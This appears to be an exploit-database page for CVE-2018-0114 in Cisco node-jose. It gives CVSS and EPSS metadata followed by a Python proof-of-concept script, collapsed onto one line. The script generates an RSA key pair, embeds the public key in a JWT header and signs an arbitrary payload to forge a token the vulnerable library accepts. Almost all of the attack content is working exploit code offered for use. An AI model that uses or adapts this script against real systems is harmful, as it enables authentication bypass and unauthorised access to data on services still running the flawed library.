Exploitalert - Database of Exploits

Cisco node-jos Resign Tokens Proof Of Concept

CVE	Category	Price	Severity
CVE-2018-0114	CWE-94	$0	High

Author	Risk	Exploitation Type	Date
David Middlehurst	High	Remote	2018-03-23

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N	0.04189	0.50688

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2018030192

Cisco node-jos Resign Tokens Proof Of Concept

import base64 import urllib import rsa import sys #zi0Black ''' POC of CVE-2018-0114 Cisco node-jose <0.11.0 Created by Andrea Cappa aka @zi0Black (GitHub,Twitter,Telegram) Mail: [email protected] Site: https://zioblack.xyz A special thanks to Louis Nyffenegger, the founder of PentesterLab, for all the help he provided to allow me to write this script. Mail: [email protected] Site: https://pentesterlab.com ''' def generate_key (key_size): #create rsa priv & public key print ("[+]Creating-RSA-pair-key") (public_key,private_key)=rsa.newkeys(key_size,poolsize=8) print ("\t[+]Pair-key-created") return private_key, public_key def to_bytes(n, length, endianess='big'): h = '%x' % n s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') return s if endianess == 'big' else s[::-1] def generate_header_payload(payload,pubkey): #create header and payload print ("[+]Assembling-the-header-and-the-payload") xn = pubkey.n xe = pubkey.e n=base64.urlsafe_b64encode(to_bytes(xn,sys.getsizeof(xn),'big')) e=base64.urlsafe_b64encode(to_bytes(xe,sys.getsizeof(xe),'big')) headerAndPayload = base64.b64encode('{"alg":"RS256",' '"jwk":{"kty":"RSA",' '"kid":"[email protected]",' '"use":"sig",' '"n":"'+n+'",' '"e":"'+e+'"}}') headerAndPayload=headerAndPayload+"."+base64.b64encode(payload) headerAndPayload = headerAndPayload.encode('utf-8').replace("=","") print ("\t[+]Assembed") return headerAndPayload def generate_signature (firstpart,privkey): #create signature signature = rsa.sign(firstpart,privkey,'SHA-256') signatureEnc = base64.b64encode(signature).encode('utf-8').replace("=", "") print ("[+]Signature-created") return signatureEnc def create_token(headerAndPayload,sign): print ("[+]Forging-of-the-token\n\n") token = headerAndPayload+"."+sign token = urllib.quote_plus(token) return token if(len(sys.argv)>0): payload = str(sys.argv[1]) key_size = sys.argv[2] else: payload = 'somthings' banner=""" _____ __ __ ______ ___ ___ __ ___ ___ __ __ _ _ / ____| \ \ / / | ____| |__ \ / _ \ /_ | / _ \ / _ \ /_ | /_ | | || | | | \ \ / / | |__ ______ ) | | | | | | | | (_) | ______ | | | | | | | | | || |_ | | \ \/ / | __| |______| / / | | | | | | > _ < |______| | | | | | | | | |__ _| | |____ \ / | |____ / /_ | |_| | | | | (_) | | |_| | | | | | | | \_____| \/ |______| |____| \___/ |_| \___/ \___/ |_| |_| |_| by @zi0Black """ if __name__ == '__main__': print (banner) (privatekey,publickey) = generate_key(key_size) firstPart = generate_header_payload(payload,publickey) signature = generate_signature(firstPart,privatekey) token = create_token(firstPart,signature) print(token)

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